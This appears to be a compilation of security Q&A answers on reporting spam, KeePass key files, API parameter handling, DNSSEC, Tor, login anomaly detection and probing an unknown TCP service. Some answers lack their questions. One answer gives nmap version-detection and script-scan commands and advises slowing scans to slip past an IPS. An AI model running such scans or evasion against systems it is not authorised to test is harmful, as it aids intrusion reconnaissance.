What information should I provide to a website or organization when notifying them that their domain may be sending out spam?

You've hit the nail on the head - at the very least, provide the full headers from one of the spam emails.

However, I find it most useful when I get a sample of several of the spam emails (say, 3-10, if you have that many) because that allows me to see if the spammers are employing other methods, like changing the message content, subject, or format.

It's usually easiest to create a new email message, then drag and drop the spam emails into it. This adds them as an attachment, complete with headers. (Works in Outlook, Outlook Web, and Thunderbird, and many more I'm sure).

Edit: I forgot to mention; THANK YOU for asking what information would be most useful. The world would be a better place if everyone did that :)


Is KeePass # of rounds relevant if you use a key file as master password?

The point of using the key file in KeePass is that you can keep the file out of reach (on external media) and connect it only when you need to unlock the database.
As you consider phones, you likely have no way of moving the key file outside of the regular filesystem. That in turn means it does not bring any security benefit. Refer to this guide, especially the "Location" section.
If you use composite method: password and key file, having the file on your phone nullifies the value added, so your assumption "I use a key file [ ] I'm safe from dictionary attacks on my master password" is false.
In effect decreasing the number of rounds for the password has the same effect regardless if you use the key file or not.

If you use only the key file, decreasing the number of rounds does not affect you security, as it is already zero.
Technically, according to the documentation, the key file is not subject to the multiple key transformation rounds, instead its SHA-256 is calculated only once:

When using both password and key file, the final key is derived as follows: SHA-256(SHA-256(password), key file contents)
(...)
To generate the final 256-bit key that is used for the block cipher, KeePass first hashes the user's password using SHA-256, encrypts the result N times using the Advanced Encryption Standard (AES) algorithm (called key transformation rounds from on now), and then hashes it again using SHA-256.


It is possible to get the compilation/linking date/time, for instance from the COFFHeader.TimeDateStamp field. But that doesn't give you the time zone as the field is just "the number of seconds elapsed since midnight (00:00:00), January 1, 1970, UTC". I presume Kaspersky concluded a Moscow TZ by looking at the compile date/time of multiple different versions and seeing most are between 4AM UTC (8AM Moscow) and 2PM UTC (6PM Moscow) (similar to an analysis FireEye did in their Apt28 report, page 27).


How strict should I be in rejecting unexpected query parameters?

No, you should not be returning a 400 if there are extra query parameters you do not expect.

Reasoning:  You are actually making it easier to attack the application.  By notifying the attacker that a particular parameter is invalid, they can easily start guessing parameters, and when they receive a 200 instead of a 400, they know they've found a valid parameter which they can try attacking by other means. Additionally, your application is no less secure when the false positive is reported.  Adding logic to return a 400 is more work without an additional pay-off


An IT security assessment is a type of risk assessment. Here's the usual process:

Identify the scope of the assessment, and the information assets that are important to the target.
Perform an analysis of the technical security of the target, e.g. via network attacks, physical penetration, etc.
If in scope, perform an analysis of the security policies that the target currently has.
If in scope, perform an analysis of the human security of the target, e.g. via social engineering.
Compile the results of these analyses into a report, using an appropriate risk categorisation framework.

This is by no means exhaustive, and the order of the inner three tasks is arbitrary.

The difference between a generic risk assessment and an IT risk assessment is that the latter isn't something that can really be qualified - it's like asking about the difference between fruit and an apple.

If you're looking at ISO27000 standards specifically, these are just a way to enforce and standardise a particular code of practice and set of analysis tasks, in order to prove that an organisation has performed a security risk assessment to a particular level. They don't change the basic framework of a risk assessment, they just give you a set of minimums that you must perform.


Does using DNSSEC in parallel with an anonymisation network decrease your privacy?

DNSSEC does not protect against eavesdropping, in this respect it only signs the response so the client knows it has not been spoofed:

  It is a set of extensions to DNS which provide to DNS clients
  (resolvers) origin authentication of DNS data, authenticated denial of
  existence, and data integrity, but not availability or
  confidentiality.

Emphasis mine.


Card companies have contracts in place with processors to force them to both be PCI compliant and to force them to make their merchants compliant. I guarantee you any bank or processor you contract with as a merchant will stipulate PCI compliance. To the degree of verification is on there part.

If a breach occurs, the card companies can go after the banks, and intern the banks could go after you if they feel you've broken your agreement. Card companies also have the right to sue you for lack of security or improper management, or some other legal speak.

This as also mentioned this doesn't cover the cost of investigations, etc.

I believe the last average was $225/ record. The Verizon Data Breach Investigation Report usually has some good figures.


Assessing security tradeoffs with LineageOS on older Android phones

You have essentially the following options:

Throwing the phone away or keeping it off the networks (which makes it useless for many users) since the OS has known security issues but there are no more security updates for it.
Accepting the risk of running a phone with known security issues, which depending on the issues might be exploited just by surfing the internet or receiving a MMS or simply by having WiFi active. Note that such exploits can very deeply infiltrate the system since many of the exploits allow to run code with root or even kernel permissions.
Unlocking the bootloader and installing an up-to-date alternative OS and accepting the risk of having an unlocked bootloader. This risk of having the bootloader unlocked can be an issue if somebody else gets physical access to the device for some time or if a serious OS exploit with root or kernel level access is possible. The last risk is hopefully mitigated mostly by having an up-to-date OS.

None of these options is without some risk or at least serious usability or cost issues.  But in my opinion the last option of unlocking the bootloader and installing an up-to-date OS (and keeping it updated) is far less risky then the second option of running an OS with known and serious security issues.


Black-box fuzzing a TCP Port running an unknown applicaiton

You are correct: technically, fuzzing is usually regarded as sending invalid or random requests/data, it's implied that you know what you're testing in order to "break" the input. In some terminology (PDF) white-box fuzzing is the close to former (generated input) and black-box fuzzing (random input) is the latter.

What you're attempting is better described as just "black box testing". The general problem here is that while some protocols (SMTP, IMAP) freely offer details with banners, or some (HTTP) are overly chatty about protocol transgressions, there are many that need a magic protocol handshake (LDAP, RPC, and many more).

Try nmap again, but with the version detection turned up to 11 (actually only to 9, but no matter):

nmap -sV --version-all --all-ports -p $port $host

nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p $port $host

Note in the second example the script prefix of + -- this means run scripts even though they would not ordinarily run. Many plugins will fail to run anyway, you'll need to read the output carefully.
Hopefully this will give you some extra info (make sure to use a recent nmap, scripts often hang in old versions).

You haven't given the port or the nmap reason, so I cannot explain why it concluded it was SIP, my best guess is it either responded to a GET or OPTIONS request or it is port 5060 or 5061.

More general advice:

it should be easy to confirm or deny the existence a public web server, tune down the nmap rate with -T1 or -T0 in case an IPS is blocking you.
make sure to scan SSL with a recent tool in order to properly support contemporary TLS versions and options

Finally, there are other application scanners out there, amap isn't nearly as comprehensive an nmap, but it's worth a shot.


Is it possible for someone to location spoof (such as a VPN or other) to not be flagged when logging into personal accounts (for example Facebook)?

The exact mechanism for this check is not publicly known (as far as I know) and might also change over time. Specifically it is not clear if it is actually (only) based on the physical location or if there are other factors. Since this mechanism is part of an anomaly detection to detect account misuse (like stolen credentials) it is based on the user profile (learned or heuristics) and might take the following in account:

Huge and sudden changes to the physical location are likely suspicious. How this physical location is determined can vary, i.e. from just looking at the IP address to using the GPS of a smartphone. In order to reduce false positives when traveling one might also track recent activity to find out if the person currently travels.
Use of a VPN from some well-known VPN provider (can in many cases be detected by IP address) itself might not be suspicious, since it is not that uncommon. But it might be suspicious if the user has never used a VPN before or if suddenly a different VPN provider is used.
Use of a private VPN with a VPN exit "at home" (like offered by some routers) is likely not suspicious, both since the  IP-based location did not change but also because it is unlikely that the account is compromised in this case.

How much these heuristics are used in the first place might also depend on how well the account is protected. All heuristics have false positives which might tag something as suspicious even if it is just uncommon but innocent. The same way these heuristics have false negatives which might lead to suspicious activity not being detected. Less false negatives (wanted) usually lead to more false positives (not wanted) so the right balance is needed. Since a simple password based authentication is easier to compromise with credential phishing or keyloggers than a multi factor authentication, it might make sense to temporarily lock a weakly protected account on potentially suspicious activity while keeping a MFA protected account accessible.


First, read about how Tor works. This will help you avoid a lot of misconceptions about it, and committing mistakes that would ruin your privacy.

If some organization is targeting you as a person (not your email, or your IRC handle), they will probably know where you live, and what computer you have. Probably they will implant something on it, and Tor will not save you.

The packets from/to internet will not take a intriguing route, that's not the way Tor works. They will leave your computer and go to the first Tor node, as if you accessed some random website somewhere. The first node will create an independent connection to the second node, encrypt your data, and send it along. This will work until the last node, that will send your request to the open internet. The destination site will only know some packet left a Tor exit node and reached them.

Your ISP will not know better: they will know a encrypted packet left your computer and reached a Tor node. Nothing else.


Technically speaking it is possible. If the regulations permit it, they would have no problem to identify other phones (operated by this carrier), record calls and SMSs as well. After wrapping all that information up, it could be sold as a tracking service.

All the data above is flowing in their network, so there is not technical challenge here.

I don't know China very well, but I cannot believe that such a thing is allowed, since it hurts really bad the individual's privacy. Sounds like a scam to me too.